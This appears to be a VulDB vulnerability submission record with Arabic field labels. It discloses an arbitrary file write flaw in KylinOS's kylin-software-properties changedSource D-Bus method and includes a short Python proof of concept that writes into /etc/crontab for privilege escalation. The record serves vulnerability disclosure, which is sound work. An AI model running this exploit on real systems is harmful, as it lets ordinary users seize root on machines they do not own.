| عنوان | Kylin OS kylin-software-properties arbitrary file write vuln |
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| الوصف | Report
Describe
kylin-software-properties is a component on KylinOS Desktop for setting system software properties. There is an arbitrary file writing vulnerability in the changedSource function of this component, which can lead to privilege escalation for ordinary users.
Hazard level
High
Affected version
kylin-software-properties < 0.0.1-130
POC&&EXP
ISO Download:
https://distro-images.kylinos.cn:8802/web_pungi/download/share/HXDYtGjZm3daA4UvOTLkiPl1nB9ErM0c/
exploit.py
#!/usr/bin/env python3
import sys
import dbus
import os
def change_source(old, new, target):
bus = dbus.SystemBus()
obj = bus.get_object("com.kylin.software.properties", "/com/kylin/software/properties")
proxy = dbus.Interface(obj, "com.kylin.software.properties.interface")
print(proxy.changedSource([old, new, target]))
change_source("#", "rebound shell", "/etc/crontab")
os.system("grep -rn 'rebound shell' /etc/crontab") |
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| المصدر | ⚠️ https://github.com/i900008/vulndb/blob/main/kylinos_vul1.md |
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| المستخدم | Set3r.Pan (UID 28571) |
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| ارسال | 22/05/2023 10:02 AM (3 سنوات منذ) |
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| الاعتدال | 05/06/2023 07:08 AM (14 days later) |
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| الحالة | تمت الموافقة |
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| إدخال VulDB | 230686 [KylinSoft kylin-software-properties قبل 0.0.1-130 على KylinOS changedSource تجاوز الصلاحيات] |
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| النقاط | 20 |
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